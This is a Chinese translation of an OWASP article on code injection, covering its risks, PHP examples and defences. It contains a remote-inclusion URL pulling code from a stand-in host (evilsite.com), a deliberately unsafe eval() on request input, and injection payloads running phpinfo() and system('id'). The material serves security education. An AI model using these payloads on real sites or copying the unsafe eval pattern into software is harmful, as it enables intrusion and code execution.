(OWASP汉化)攻击系列大全(八):代码注入

漏洞描述

代码注入是攻击类型的一般说法,它由注入代码组成,然后应用程序解释或执行。这种攻击类型利用应用程序对不可信的数据处理不当。如果缺乏正确的输入/输出数据验证,通常会发生这样的类型攻击,例如:

  1. 合法的字符(标准的正则表达式或自定义)
  2. 数据格式
  3. 预期的数据值

代码注入与命令注入的不同之处在于攻击者仅受注入语言本身功能的限制。如果攻击者使用PHP代码注入到应用程序中并且让代码执行,那么他仅受限于自己PHP的能力。命令注入利用现有的代码来执行命令,通常在shell的上下文中执行。

风险因素

  • 这些类型的漏洞可能很难找到,也会很容易找到
  • 如果找到,通常会难以利用,不过这取决于情况
  • 如果成功利用,可能会导致各种安全问题

漏洞示例

示例1

如果应用程序将通过GET请求发送的参数传递给没有输入验证的PHP include()函数,攻击者可能会尝试执行恶意代码,但这并不是开发人员所期望的。

下面的URL将页面名称传递给include()函数

http://testsite.com/index.php?page=contact.php

例如,文件“evilcode.php”可以包含phpinfo()函数,该函数可以获取有关Web服务所运行的环境的配置的信息 攻击者可以使用以下请求让应用程序执行他的PHP代码:

http://testsite.com/?page=http://evilsite.com/evilcode.php

示例2

当开发人员使用PHP eval()函数并向其传递攻击者可以修改的不可信数据时,代码注入成为可能。 下面的例子显示了使用eval()函数的危险方式:

$myvar = "varname";
$x = $_GET['arg'];
eval("\$myvar = \$x;");

由于没有输入验证,上面的代码容易受到代码注入攻击。 例如:

/index.php?arg=1; phpinfo()

在利用这些错误的同时,攻击者可能希望执行系统命令。在这种情况下,代码注入漏洞也可以用于命令注入,例如:

/index.php?arg=1; system('id')

相关的威胁代理

待定

相关的攻击方式

  • 命令注入[https://www.owasp.org/index.php/Command_Injection]

  • SQL注入[https://www.owasp.org/index.php/SQL_Injection]

  • LDAP注入[https://www.owasp.org/index.php/LDAP_injection]
  • SSI注入[https://www.owasp.org/index.php/Server-Side_Includes_(SSI)_Injection]
  • XSS攻击[https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)]

相关漏洞

  • Category: Input Validation Vulnerability

相关防御

  • 输入验证
  • 输出验证
  • 规范化

参考

  • CWE-77: Command Injection
  • CWE-78: OS Command Injection
  • CWE-89: SQL Injection